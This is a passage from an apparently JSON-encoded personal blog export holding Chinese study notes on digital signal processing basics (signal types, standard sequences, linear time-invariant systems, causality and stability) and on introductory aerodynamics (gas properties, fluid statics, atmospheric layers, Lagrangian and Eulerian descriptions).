/\u003e\u003ch1\u003e数字信号处理基本概念\u003c/h1\u003e\n\u003ch2\u003e信号分类\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e连续信号:即模拟信号,时域连续信号。\u003c/li\u003e\n\u003cli\u003e时域离散信号:幅度取值连续,时间取值离散。\u003c/li\u003e\n\u003cli\u003e幅度离散信号:幅度取值离散,时间取值连续。\u003c/li\u003e\n\u003cli\u003e数字信号:幅度和时间都取离散值。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e区别\u003c/h3\u003e\n\u003cp\u003e时域离散信号和数字信号之间的差别,仅在于数字信号存在量化误差。\u003c/p\u003e\n\u003ch2\u003e数字信号处理实现方法\u003c/h2\u003e\n\u003cp\u003e数字信号处理的主要对象是\u003cstrong\u003e数字信号\u003c/strong\u003e,且是采用\u003cstrong\u003e数值运算\u003c/strong\u003e的方法达到处理目的的。\u003c/p\u003e\n\u003ch3\u003e软件实现\u003c/h3\u003e\n\u003cp\u003e按原理和算法,编写程序在通用计算机实现。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优点:灵活\u003c/li\u003e\n\u003cli\u003e缺点:运算速度慢,难以达到实时处理效果。\u003c/li\u003e\n\u003cli\u003e适合算法研究和仿真。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e硬件实现\u003c/h3\u003e\n\u003cp\u003e按照具体的要求和算法,设计硬件结构图,用乘法器、加法器、延时器、控制器、存储器以及输人输出接口等基本部件实现。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优点:运算速度快,可实时处理\u003c/li\u003e\n\u003cli\u003e缺点:不灵活\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e硬件实现指的是选用合适的 DSP 芯片,配有适合芯片语言及任务要求的软件,实现某种信号处理功能的一种方法。\u003c/p\u003e\n\u003ch3\u003e专用芯片\u003c/h3\u003e\n\u003cp\u003e采用专用的 \u003cstrong\u003e数字信号处理芯片(DSP 芯片)\u003c/strong\u003e 是目前发展最快、应用最广的一种方法。因为 DSP 芯片比通用单片机有更为突出的优点,它结合了数字信号处理的特点,\u003cstrong\u003e内部配有乘法器和累加器\u003c/strong\u003e,结构上采用了流水线工作方式以及并行结构、多总线,且配有适合数字信号处理的指令,是一类可实现高速运算的微处理器。\u003c/p\u003e\n\u003cp\u003e对于更高速的实时系统,DSP 的速度也不满足要求时,应采用可编程超大规模器件(FPGA)或开发专用芯片来实现。\u003c/p\u003e\n\u003ch2\u003e数字信号处理特点\u003c/h2\u003e\n\u003cp\u003e相比于模拟信号处理,数字信号处理具有以下特点:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e灵活性\u003c/li\u003e\n\u003cli\u003e高精度和高稳定性\u003c/li\u003e\n\u003cli\u003e便于大规模集成\u003c/li\u003e\n\u003cli\u003e可以实现模拟系统无法实现的诸多功能,如储存、复杂变换和运算。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003e信号维度\u003c/h2\u003e\n\u003cp\u003e信号通常是一个自变量或几个自变量的函数。\u003cbr/\u003e\n如果仅有一个自变量,则称为一维信号;如果有两个以上的自变量,则称为多维信号。\u003c/p\u003e\n\u003ch1\u003e时域离散信号与系统\u003c/h1\u003e\n\u003ch2\u003e时域离散信号\u003c/h2\u003e\n\u003cp\u003e实际中遇到的信号一般是模拟信号,对它进行\u003cstrong\u003e等间隔采样\u003c/strong\u003e便可以得到时域离散信号。\u003c/p\u003e\n\u003cp\u003e模拟信号 $x_a(t)$ ,离散时间点 $t_n$ 。\u003cbr/\u003e\n均匀采样(等间隔采样)时,采样间隔 $T$ ,$t_n=nT$\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x_a(t)|_{t=nT}=x_a(nT),- \\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003cbr/\u003e\n$x(n)$ 称为时域离散信号,$n$ 取整数,得到序列\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=\\{\\cdots ,x_a(-2T),x_a(-T),x_a(0),x_a(T),x_a(2T),\\cdots \\}\u003cbr/\u003e\n$$\u003cbr/\u003e\n时域离散信号也称序列。\u003c/p\u003e\n\u003ch3\u003e序列表示方法\u003c/h3\u003e\n\u003ch4\u003e集合符号\u003c/h4\u003e\n\u003cp\u003e数的集合用集合符号 $\\{\\cdot \\}$ 表示,时域离散信号可表示为有序的数的集合。\u003cbr/\u003e\n集合中有下划线的元素表示 $n=0$ 时刻的采样值。\u003c/p\u003e\n\u003ch4\u003e公式表示\u003c/h4\u003e\n\u003cp\u003eExample:\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=a^{|n|},0\u0026lt;a\u0026lt;1,-\\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e图形表示\u003c/h4\u003e\n\u003cp\u003e横坐标为 $n$ ,纵坐标为 $x$ 的值,竖线顶端加黑点。\u003c/p\u003e\n\u003ch3\u003e常用典型序列\u003c/h3\u003e\n\u003ch4\u003e单位脉冲序列 $\\delta(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\delta(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; n=0\\\\\u003cbr/\u003e\n0 \u0026amp; n \\ne 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n也称单位采样序列,不同于单位冲激信号 $\\delta(t)$ 。\u003c/p\u003e\n\u003ch4\u003e单位阶跃序列 $u(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nu(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; n \\ge 0\\\\\u003cbr/\u003e\n0 \u0026amp; n \u0026lt; 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\delta(n)=u(n)-u(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nu(n)=\\sum^{\\infty}_{k=0}\\delta(n-k)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e矩形序列 $R_N(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nR_N(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; 0 \\le n \\le N-1\\\\\u003cbr/\u003e\n0 \u0026amp; Others\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$N$ 称为矩形序列长度,矩形序列可用单位阶跃序列表示。\u003cbr/\u003e\n$$\u003cbr/\u003e\nR_N(n)=u(n)-u(n-N)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e实指数序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=a^n u(n),a 为实数\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e$|a|\u0026lt;1$ 时称 $x(n)$ 为收敛序列\u003c/li\u003e\n\u003cli\u003e$|a|\u0026gt;1$ 时称 $x(n)$ 为发散序列\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e正弦序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=\\sin (\\omega n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\omega$ 称为正弦序列的\u003cstrong\u003e数字域频率(数字频率)\u003c/strong\u003e,单位为弧度 $rad$ ,表示序列变化速率(相邻两个序列值之间相位变化的弧度数)。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e模拟角频率 $\\varOmega$\u003c/strong\u003e,若正弦序列由模拟信号 $x_a(t)=\\sin (\\varOmega t)$ 采样得到\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x_a(t)|_{t=nT}=\\sin (\\varOmega nT)=\\sin (\\omega n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n则得到数字频率与模拟角频率的关系\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\omega=\\varOmega T\u003cbr/\u003e\n$$\u003cbr/\u003e\n采样频率 $F_s=\\frac{1}{T}$ ,因此\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\omega=\\frac{\\varOmega}{F_s}\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cem\u003e数字域频率是模拟角频率对采样频率的归一化频率。\u003c/em\u003e\u003c/p\u003e\n\u003ch4\u003e复指数序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=e^{(\\sigma+j \\omega_0)n}=\\cos(\\omega_0 n)+j \\sin(\\omega_0 n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n因为 $n$ 取整数,所以正弦序列和复指数序列都以 $2 \\pi$ 为周期。\u003c/p\u003e\n\u003ch4\u003e周期序列\u003c/h4\u003e\n\u003cp\u003e如果对所有 $n$ 存在一个\u003cstrong\u003e最小的正整数\u003c/strong\u003e $N$,使下面等式成立:\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x(n+N),-\\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003cbr/\u003e\n则称序列 $x(n)$ 为周期性序列,周期为 $N$ 。\u003c/p\u003e\n\u003ch3\u003e序列运算\u003c/h3\u003e\n\u003cp\u003eEasy\u003c/p\u003e\n\u003ch4\u003e加法和乘法\u003c/h4\u003e\n\u003ch4\u003e位移、翻转、尺度变换\u003c/h4\u003e\n\u003ch2\u003e离散时域系统\u003c/h2\u003e\n\u003cp\u003e系统输入为 $x(n)$ ,输出为 $y(n)$ ,运算关系用 $T[\\cdot]$ 表示。\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n)=T[x(n)]\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性系统\u003c/h3\u003e\n\u003cp\u003e系统的输入、输出之间满足线性叠加原理的系统称为线性系统。\u003c/p\u003e\n\u003ch4\u003e可加性\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\ny_1(n)=T[x_1(n)],y_2(n)=T[x_2(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nT[x_1(n)+x_2(n)]=y_1(n)+y_2(n)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e齐次性(比例性)\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nT[a \\times x(n)]=a \\times y(n)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e时不变系统\u003c/h3\u003e\n\u003cp\u003e如果系统对输入信号的运算关系 $T[\\cdot]$ 在整个运算过程中不随时间变化,或者说系统对于输人信号的响应与信号加于系统的时间无关,则这种系统称为时不变系统。\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n)=T[x(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n-n_0)=T[x(n-n_0)]\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性时不变系统特点\u003c/h3\u003e\n\u003cp\u003e完全响应=零输入响应+零状态响应\u003c/p\u003e\n\u003ch4\u003e单位脉冲响应\u003c/h4\u003e\n\u003cp\u003e初始状态为 0(无零输入响应)\u003cbr/\u003e\n$$\u003cbr/\u003e\nh(n)=T[\\delta(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=\\sum^{\\infty}_{m=-\\infty}x(m)\\delta(n-m)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\ny(n)\u003cbr/\u003e\n\u0026amp;=T[x(n)]\\\\\u003cbr/\u003e\n\u0026amp;=T[\\sum^{\\infty}_{m=-\\infty}x(m)\\delta(n-m)]\\\\\u003cbr/\u003e\n\u0026amp;=\\sum^{\\infty}_{m=-\\infty}x(m)T[\\delta(n-m)]\\\\\u003cbr/\u003e\n\u0026amp;=\\sum^{\\infty}_{m=-\\infty}x(m)h(n-m)\\\\\u003cbr/\u003e\n\u0026amp;=x(n)*h(n)\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003cbr/\u003e\n卷积相关知识见《信号与系统》\u003c/p\u003e\n\u003ch3\u003e系统因果性\u003c/h3\u003e\n\u003cp\u003e定义:如果系统 $n$ 时刻的输出只取决于 $n$ 时刻以及 $n$ 时刻以前的输入序列,而和 $n$ 时刻以后的输入序列无关,则称该系统具有因果性质,或称该系统为因果系统。\u003c/p\u003e\n\u003cp\u003e==充要条件==:系统单位脉冲响应满足下式\u003cbr/\u003e\n$$\u003cbr/\u003e\nh(n)=0 \\quad n\u0026lt;0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e系统稳定性\u003c/h3\u003e\n\u003cp\u003e定义:如果对有界输入,系统产生的输出也是\u003cstrong\u003e有界\u003c/strong\u003e的,则称该系统具有稳定性,或称该系统为稳定系统。\u003cbr/\u003e\n==充要条件==:系统的单位脉冲响应绝对可和。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sum^{\\infty}_{m=-\\infty}|h(n)|\u0026lt;\\infty\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性常系数差分方程\u003c/h3\u003e\n","url":"https://guzhengsvt.top/index.php/archives/digital-signal-processing.html"},{"title":"空气动力学基础(持续更新)","time":"2024-09-02T14:13:00Z","content":"流体静力学基础气体性质压缩性体积弹性模数定义:产生单位相对体积变化所需压强增高$$E=-\\frac{dp}{dV/V}$$对于一定质量气体,体积与密度成反比例关系,即$$\\frac{d \\rho...\u003chr /\u003e\u003ch1\u003e流体静力学基础\u003c/h1\u003e\n\u003ch2\u003e气体性质\u003c/h2\u003e\n\u003ch3\u003e压缩性\u003c/h3\u003e\n\u003ch4\u003e体积弹性模数\u003c/h4\u003e\n\u003cp\u003e定义:产生单位相对体积变化所需压强增高\u003cbr/\u003e\n$$\u003cbr/\u003e\nE=-\\frac{dp}{dV/V}\u003cbr/\u003e\n$$\u003cbr/\u003e\n对于一定质量气体,体积与密度成反比例关系,即\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d \\rho}{\\rho}=-\\frac{dV}{V}\u003cbr/\u003e\n$$\u003cbr/\u003e\n回代得\u003cbr/\u003e\n$$\u003cbr/\u003e\nE=\\rho \\frac{dp}{d \\rho}\u003cbr/\u003e\n$$\u003cbr/\u003e\n常温下水的体积弹性模数:$2.1 \\times 10^9N/m^2$\u003cbr/\u003e\n通常情况下水可视为不可压缩流体。\u003c/p\u003e\n\u003ch3\u003e粘性\u003c/h3\u003e\n\u003ch4\u003e牛顿粘性定律\u003c/h4\u003e\n\u003cp\u003e流体运动所产生的摩擦阻力与接触面积成正比\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\tau =\\mu \\frac{du}{d \\vec{n}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\tau$ :摩阻\u003cstrong\u003e应力\u003c/strong\u003e,单位面积上的摩擦阻力\u003cbr/\u003e\n$\\vec{n}$ :接触面法线方向\u003cbr/\u003e\n$\\mu$ :比例常数,称为流体的\u003cstrong\u003e粘性系数\u003c/strong\u003e,单位为 $N \\cdot s/m^2$\u003cbr/\u003e\n$\\frac{du}{d \\vec{n}}$ :速度梯度\u003c/p\u003e\n\u003cp\u003e不同流体介质粘性系数值各不相同,并且粘性系数随温度变化,与压强基本无关。\u003cbr/\u003e\n气体粘性系数随温度升高而增大。\u003c/p\u003e\n\u003ch4\u003e萨特兰公式\u003c/h4\u003e\n\u003cp\u003e空气粘性系数随温度变化关系,近似公式之一萨特兰公式\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\mu}{\\mu_0}=(\\frac{T}{288.15})^{1.5}\\frac{288.15+C}{T+C}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\mu_0$ :温度为 $288.15K$ 时空气粘性系数\u003cbr/\u003e\n$C$ :常数,值为 $110.4K$ \u003c/p\u003e\n\u003ch4\u003e运动粘性系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\nu=\\frac{\\mu}{\\rho}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\nu$ :运动粘性系数,单位为 $m^2/s$\u003cbr/\u003e\n$\\mu$ :粘性系数\u003cbr/\u003e\n$\\rho$ :密度\u003c/p\u003e\n\u003ch3\u003e传热性\u003c/h3\u003e\n\u003cp\u003e定义:当气体中沿某一方向存在温度梯度时,热量就会由温度高的地方传向温度低的地方,这种性质称为气体的传热性。\u003cbr/\u003e\n单位时间内所传递热量与传热面积成正比,与沿热流方向的温度梯度成正比,即\u003cbr/\u003e\n$$\u003cbr/\u003e\nq=-\\lambda \\frac{\\partial T}{\\partial \\vec{n}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$q$ :单位时间通过单位面积热量,单位 $kJ/(m^2 \\cdot s)$\u003cbr/\u003e\n$\\frac{\\partial T}{\\partial \\vec{n}}$ :温度梯度,单位为 $K/m$\u003cbr/\u003e\n$\\lambda$ :导热系数,单位为 $kJ/(m \\cdot K \\cdot s)$\u003cbr/\u003e\n负号表示热量传递方向永远与温度梯度方向相反。\u003c/p\u003e\n\u003ch2\u003e流体分类\u003c/h2\u003e\n\u003ch3\u003e连续介质假设\u003c/h3\u003e\n\u003ch3\u003e理想流体\u003c/h3\u003e\n\u003cp\u003e不考虑粘性,在这种模型中,流体微团不承受粘性力作用。常用于气体。\u003cbr/\u003e\n忽略粘性的气体称为理想气体。\u003c/p\u003e\n\u003ch4\u003e压强各向同性\u003c/h4\u003e\n\u003cp\u003e理想流体内一点处的压强与受压面的方位无关,它仅是空间坐标的连续函数。\u003c/p\u003e\n\u003ch3\u003e不可压流体\u003c/h3\u003e\n\u003cp\u003e不考虑气体压缩性或弹性,可认为体积弹性模数无穷大,或流体密度为常数。常用于液体。\u003cbr/\u003e\n求解不可压流体的流动规律,只需要服从力学定律,不需要考虑热力学关系。\u003c/p\u003e\n\u003cp\u003e对流速较低的气体,也可按不可压流体处理流动问题。\u003c/p\u003e\n\u003ch3\u003e绝热流体\u003c/h3\u003e\n\u003cp\u003e不考虑流体传热性的模型,即把流体热导系数看作零。低速流动的空气一般热导系数值很小,可视为绝热。\u003cbr/\u003e\n不考虑气体微团之间热传导作用的气体模型称之为绝热气体。\u003c/p\u003e\n\u003ch3\u003e完全气体\u003c/h3\u003e\n\u003cp\u003e任何状态下,气体的压强、密度和温度之间都存在一定的函数关系\u003cbr/\u003e\n$$\u003cbr/\u003e\np=p(\\rho,T)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e完全气体的状态方程\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\np=\\frac{\\overline{R}}{m}\\rho T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\overline{R}$ :普适气体常数,$8315m^2/(s^2 \\cdot K)$\u003cbr/\u003e\n$m$ :某种气体相对分子质量\u003cbr/\u003e\n$R=\\frac{\\overline{R}}{m}$ 时,\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\rho R T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R$ 为气体常数,空气约为 $287.035m^2/(s^2 \\cdot K)$ \u003c/p\u003e\n\u003ch2\u003e流体微团受力\u003c/h2\u003e\n\u003ch3\u003e压力\u003c/h3\u003e\n\u003ch3\u003e切应力(摩擦力)\u003c/h3\u003e\n\u003ch3\u003e彻体力\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e重力\u003c/li\u003e\n\u003cli\u003e电磁力\u003c/li\u003e\n\u003cli\u003e离心力\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e静平衡方程\u003c/h2\u003e\n\u003cp\u003e在==静止流体==中取一点 $P$,压强为 $p$\u003cbr/\u003e\n构建笛卡尔坐标系,流体内各点处压强为\u003cbr/\u003e\n$$\u003cbr/\u003e\np(x,y,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n以 $P$ 为中心构建各边平行于坐标轴的长方体,边长为 $dx,dy,dz$\u003cbr/\u003e\n观察 $x$ 轴方向,两面受压力大小分别为\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)+(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)-(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e流体微团 $x$ 轴方向受彻体力为\u003cbr/\u003e\n$$\u003cbr/\u003e\nf_x \\rho dx dy dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$f_x$ 为单位质量上所受彻体力在 $x$ 轴方向分力。\u003cbr/\u003e\n因为是静止流体,流体微团受力平衡。\u003cbr/\u003e\n$x$ 轴方向力平衡方程为\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)-(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy-[p(x_0,y_0,z_0)+(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy+f_x \\rho dx dy dz=0\u003cbr/\u003e\n$$\u003cbr/\u003e\n整理得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial x}=\\rho f_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial y}=\\rho f_y\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial z}=\\rho f_z\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$\\because$ $p$ 全微分方程为\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=\\frac{\\partial p}{\\partial x}dx+\\frac{\\partial p}{\\partial y}dy+\\frac{\\partial p}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\therefore$\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=\\rho(f_x dx+f_y dy+f_z dz)\u003cbr/\u003e\n$$\u003cbr/\u003e\n设==彻体力位函数==\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varOmega=\\varOmega(x,y,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n全微分为\u003cbr/\u003e\n$$\u003cbr/\u003e\nd \\varOmega=\\frac{\\partial \\varOmega}{\\partial x}dx+\\frac{\\partial \\varOmega}{\\partial y}dy+\\frac{\\partial \\varOmega}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n其中 $\\frac{\\partial \\varOmega}{\\partial x}=f_x$,$\\frac{\\partial \\varOmega}{\\partial y}=f_y$,$\\frac{\\partial \\varOmega}{\\partial z}=-f_z$\u003cbr/\u003e\n由上述关系得到\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=-\\rho d \\varOmega\u003cbr/\u003e\n$$\u003cbr/\u003e\n两边对 $x,y,z$ 三重积分得\u003cbr/\u003e\n$$\u003cbr/\u003e\np=-\\rho \\varOmega+C(常数)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nC=p+\\rho \\varOmega\u003cbr/\u003e\n$$\u003cbr/\u003e\n当已知某一点 A 处的压强 $p_a$ ,两点处彻体力位函数差 $\\varOmega_a-\\varOmega$ ,该静止流体密度 $\\rho$ (处处相等)时,已知任一点彻体力位函数 $\\varOmega$ 可求得该点压强\u003cbr/\u003e\n$$\u003cbr/\u003e\np=p_a+\\rho (\\varOmega_a-\\varOmega)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cstrong\u003e推论:\u003c/strong\u003e 流体内等压面必是彻体力的等位面。\u003c/p\u003e\n\u003ch1\u003e大气\u003c/h1\u003e\n\u003ch2\u003e大气分层\u003c/h2\u003e\n\u003ch3\u003e底层大气\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e高度:海平面——85 km\u003c/li\u003e\n\u003cli\u003e特点:组分均匀,氮气占总体积 78.1%,氧气占总体积 21%\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对流层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度\u003cul\u003e\n\u003cli\u003e赤道:16~18 km\u003c/li\u003e\n\u003cli\u003e中纬度地区:10~12 km\u003c/li\u003e\n\u003cli\u003e两极:7~10 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e质量:占整个大气质量 75%\u003c/li\u003e\n\u003cli\u003e特点:有上下方向流动,有风暴、雷雨现象。随高度增加,空气温度快速下降。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对流顶层\u003c/h4\u003e\n\u003cp\u003e过渡层,厚度数百米到一二千米。\u003c/p\u003e\n\u003ch4\u003e平流层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:对流层~32 km\u003c/li\u003e\n\u003cli\u003e质量:约占大气层质量四分之一\u003c/li\u003e\n\u003cli\u003e特点:无气象,空气水平流动,温度保持常数(平均约 216.65 K)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e中间大气层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:32~85 km\u003c/li\u003e\n\u003cli\u003e质量:1/3000\u003c/li\u003e\n\u003cli\u003e温度:先上升后下降,85 km 处可降到 106 K 以下。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e高层大气\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e高度:85 km 以上\u003c/li\u003e\n\u003cli\u003e特点:组分不均匀,直接吸收太阳辐射\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e高温层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:85~500 km\u003c/li\u003e\n\u003cli\u003e温度:随高度升高温度上升,500 km 处白天可达 1370 K。\u003c/li\u003e\n\u003cli\u003e特点:直接受太阳短波辐射\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e外层大气\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:500+ km,大气逐渐与星际空间融合\u003c/li\u003e\n\u003cli\u003e质量:$1/10^{11}$\u003c/li\u003e\n\u003cli\u003e特点:大气过于稀薄,不适合用温度定义。空气分子可逃逸入太空。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e上层大气与电离层\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e上层大气受太阳短波辐射离解为电子和离子,形成电离层。\u003c/li\u003e\n\u003cli\u003e100 km 以上高空中,空气是良导体。\u003c/li\u003e\n\u003cli\u003e150 km 以上,空气过于稀薄,无法传递声音。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eD 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:60~80 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eE 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:100~120 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e$F_1$ 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:180~220 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e$F_2$ 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:300~350 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e国际标准大气\u003c/h2\u003e\n\u003cp\u003e航空工程中统一的大气压强、密度、温度等参数标准,按中纬度地区全年平均条件统计确定,称为国际标准大气。\u003c/p\u003e\n\u003ch1\u003e流体运动学与动力学基础\u003c/h1\u003e\n\u003ch2\u003e流场\u003c/h2\u003e\n\u003cp\u003e流场:充满运动流体的空间\u003cbr/\u003e\n流动参数:用以表示流体运动特征的物理量,入速度、密度、压强等。\u003cbr/\u003e\n流体力学方法:拉格朗日法,欧拉法\u003c/p\u003e\n\u003ch3\u003e拉格朗日法\u003c/h3\u003e\n\u003cp\u003e着眼于\u003cstrong\u003e质点\u003c/strong\u003e(运动)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e研究流场各个质点的运动参数随时间变化规律和运动轨迹。\u003c/li\u003e\n\u003cli\u003e综合所有流体质点运动参数变化从而得到整个流场运动规律。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e欧拉法\u003c/h3\u003e\n\u003cp\u003e着眼于\u003cstrong\u003e空间点\u003c/strong\u003e(不动)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e研究流体质点通过空间固定点时,运动参数随时间变化规律。\u003c/li\u003e\n\u003cli\u003e综合流场中所有空间点处运动参数变化情况,可得到整个流场运动规律。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e欧拉法中,流场运动参数一般是空间点坐标和时间的函数。\u003cbr/\u003e\n以速度为例\u003cbr/\u003e\n$$\u003cbr/\u003e\nv=v(x,y,z,t)\u003cbr/\u003e\n$$\u003cbr/\u003e\n四个变量独立。\u003cbr/\u003e\n一般三维空间中,建立笛卡尔坐标系,将标量参数分解到 $x,y,z$ 轴方向分别分析。\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_x=v_x(x,y,z,t)\u003cbr/\u003e\n$$\u003cbr/\u003e\n求导得加速度分量\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=\\frac{d v_x}{dt}=\\frac{\\partial v_x}{\\partial t}+\\frac{\\partial v_x}{\\partial x}\\frac{dx}{dt}+\\frac{\\partial v_x}{\\partial y}\\frac{dy}{dt}+\\frac{\\partial v_x}{\\partial 